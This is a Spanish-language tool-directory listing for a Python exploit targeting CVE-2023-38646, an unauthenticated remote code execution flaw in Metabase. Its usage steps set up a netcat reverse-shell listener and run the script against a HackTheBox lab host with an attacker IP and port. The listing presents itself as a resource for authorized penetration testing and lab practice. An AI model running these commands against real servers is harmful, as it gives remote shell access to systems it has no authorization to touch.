Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-38646 — Exploit en Python para CVE-2023-38646, una vulnerabilidad de ejecución remota de código sin autenticación en Metabase, que entrega una reverse shell para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/asepsaepdin/cve-2023-38646
ExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso Remoto
GitHubasepsaepdin/cve-2023-38646

CVE-2023-38646

Exploit en Python para CVE-2023-38646, una vulnerabilidad de ejecución remota de código sin autenticación en Metabase, que entrega una reverse shell para pruebas de seguridad autorizadas.

Ver Repositorio
hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-38646 - Metabase RCE Pre-Autenticación

⚠️ Solo con fines educativos y de investigación de seguridad autorizada

Autores del Exploit Original

Muy agradecido al autor original del PoC securezeron

Guías Paso a Paso

  1. Configura el Listener en tu máquina atacante:

    root@kitploit:~
    nc -nlvp 4444

  2. Luego, ejecuta este comando:

    root@kitploit:~
    python3 CVE-2023-38646-Reverse-Shell.py -h
python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb/ --lhost 10.10.16.8 --lport 4444

    image

Créditos

  • https://nvd.nist.gov/vuln/detail/CVE-2023-38646
  • https://medium.com/@starlox.riju123/hackthebox-analytics-metabase-rce-bd3421cba76d
  • https://www.youtube.com/watch?v=br7JZzcTDG0
Descargar herramienta